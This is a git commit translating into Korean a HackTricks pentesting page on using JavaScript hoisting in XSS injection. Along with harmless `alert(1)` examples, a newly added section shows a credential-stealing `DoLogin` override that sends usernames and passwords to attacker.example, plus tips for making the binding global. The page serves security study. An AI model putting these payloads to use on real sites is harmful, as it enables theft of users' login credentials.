Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',

This commit is contained in:
Translator 2025-08-28 19:39:11 +00:00
parent 18faa1cfaf
commit 6081036cfb
2 changed files with 331 additions and 252 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
JavaScript 언어에서 **Hoisting**으로 알려진 메커니즘은 변수, 함수, 클래스 또는 임포트의 선언이 코드가 실행되기 전에 개념적으로 그 범위의 맨 위로 올라가는 과정을 설명합니다. 이 과정은 JavaScript 엔진에 의해 자동으로 수행되며, 스크립트를 여러 번 통과하면서 진행됩니다.
JavaScript 언어에서 **Hoisting**이라고 하는 메커니즘은 변수, 함수, 클래스 또는 import 선언이 코드 실행 전에 개념적으로 해당 스코프의 최상단으로 끌어올려지는 것으로 설명됩니다. 이 과정은 JavaScript 엔진에 의해 자동으로 수행되며, 엔진은 스크립트를 여러 패스로 처리합니다.
첫 번째 통과 동안, 엔진은 코드를 구문 오류를 확인하기 위해 파싱하고 이를 추상 구문 트리로 변환합니다. 이 단계에는 특정 선언이 실행 컨텍스트의 맨 위로 이동하는 호이스팅이 포함됩니다. 파싱 단계가 성공적으로 완료되면, 즉 구문 오류가 없음을 나타내면, 스크립트 실행이 진행됩니다.
첫 번째 패스 동안 엔진은 구문 오류를 확인하기 위해 코드를 파싱하고 이를 추상 문법 트리로 변환합니다. 이 단계에는 특정 선언이 실행 컨텍스트의 최상단으로 이동되는 hoisting 과정이 포함됩니다. 파싱 단계가 성공하여 구문 오류가 없으면 스크립트 실행이 진행됩니다.
이해하는 것이 중요합니다:
중요한 점은 다음과 같습니다:
1. 스크립트는 실행이 발생하기 위해 구문 오류가 없어야 합니다. 구문 규칙은 엄격하게 준수되어야 합니다.
2. 스크립트 내 코드의 배치가 호이스팅으로 인해 실행에 영향을 미치지만, 실행된 코드는 텍스트 표현과 다를 수 있습니다.
1. 스크립트는 실행되기 위해 구문 오류가 없어야 합니다. 구문 규칙을 엄격히 준수해야 합니다.
2. 코드의 위치는 hoisting 때문에 실행에 영향을 미치며, 실제로 실행되는 코드는 텍스트 상의 표현과 다를 수 있습니다.
#### Types of Hoisting
#### Hoisting의 유형
MDN의 정보에 따르면, JavaScript에는 네 가지 뚜렷한 호이스팅 유형이 있습니다:
MDN의 정보에 따르면, JavaScript에는 네 가지의 뚜렷한 hoisting 유형이 있습니다:
1. **Value Hoisting**: 변수의 선언 라인 이전에 해당 변수의 값을 사용할 수 있게 합니다.
2. **Declaration Hoisting**: 변수의 선언 이전에 해당 변수를 참조할 수 있게 하며 `ReferenceError`를 발생시키지 않지만, 변수의 값은 `undefined`가 됩니다.
3. 이 유형은 실제 선언 라인 이전에 변수의 선언으로 인해 범위 내에서의 동작을 변경합니다.
4. 선언의 부작용은 그것을 포함하는 나머지 코드가 평가되기 전에 발생합니다.
1. **Value Hoisting**: 선언 줄 이전에 스코프 내에서 변수의 값을 사용할 수 있게 합니다.
2. **Declaration Hoisting**: 선언 줄 이전에 스코프 내에서 변수를 참조할 수 있게 하여 `ReferenceError`를 일으키지 않지만, 변수의 값은 `undefined`가 됩니다.
3. 이 유형은 실제 선언 줄 이전에 변수가 선언되는 것 때문에 스코프 내 동작을 변경합니다.
4. 선언의 부수 효과가 해당 선언을 포함하는 나머지 코드가 평가되기 전에 발생합니다.
자세히 설명하자면, 함수 선언은 유형 1 호이스팅 동작을 나타냅니다. `var` 키워드는 유형 2 동작을 보여줍니다. `let`, `const`, 및 `class`를 포함하는 렉시컬 선언은 유형 3 동작을 나타냅니다. 마지막으로, `import` 문은 유형 1 및 유형 4 동작으로 호이스팅되는 독특한 특성을 가지고 있습니다.
자세히 보면, 함수 선언은 type 1 hoisting 동작을 보입니다. `var` 키워드는 type 2 동작을 나타냅니다. `let`, `const`, 그리고 `class`를 포함하는 lexical 선언은 type 3 동작을 보입니다. 마지막으로, `import` 문은 type 1과 type 4 동작을 모두 가지며 독특합니다.
## Scenarios
## 시나리오
따라서 **선언되지 않은 객체**가 사용된 후 **JS 코드를 주입할 수 있는 시나리오**가 있다면, 이를 선언하여 **구문을 수정**할 수 있습니다(그래야 오류를 발생시키는 대신 코드가 실행됩니다):
따라서 선언되지 않은 객체가 사용된 이후에 **Inject JS code after an undeclared object** 할 수 있는 시나리오가 있다면, 해당 객체를 선언하여 문법을 **fix the syntax** 함으로써 (에러를 발생시키는 대신) 당신의 코드가 실행되게 할 수 있습니다:
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## 더 많은 시나리오
## 추가 시나리오
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
## 참고문헌
### const로 이름을 고정해 이후 선언을 선제적으로 차단하기
최상위의 `function foo(){...}`이 파싱되기 전에 코드를 실행할 수 있다면, 같은 이름으로 렉시컬 바인딩(예: `const foo = ...`)을 선언하면 이후의 function 선언이 해당 식별자를 다시 바인딩하는 것을 막을 수 있습니다. 이 방법은 페이지에서 나중에 정의되는 중요한 핸들러를 탈취하기 위해 RXSS에서 악용될 수 있습니다:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
노트
- 이는 실행 순서와 전역(최상위) 스코프에 의존합니다.
- 만약 당신의 payload가 `eval()` 내부에서 실행된다면, `eval` 내부의 `const/let`은 블록 스코프여서 전역 바인딩을 생성하지 않습니다. 진정한 전역 `const`를 만들기 위해 코드를 담은 새로운 `<script>` 요소를 삽입하세요.
## 참고자료
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}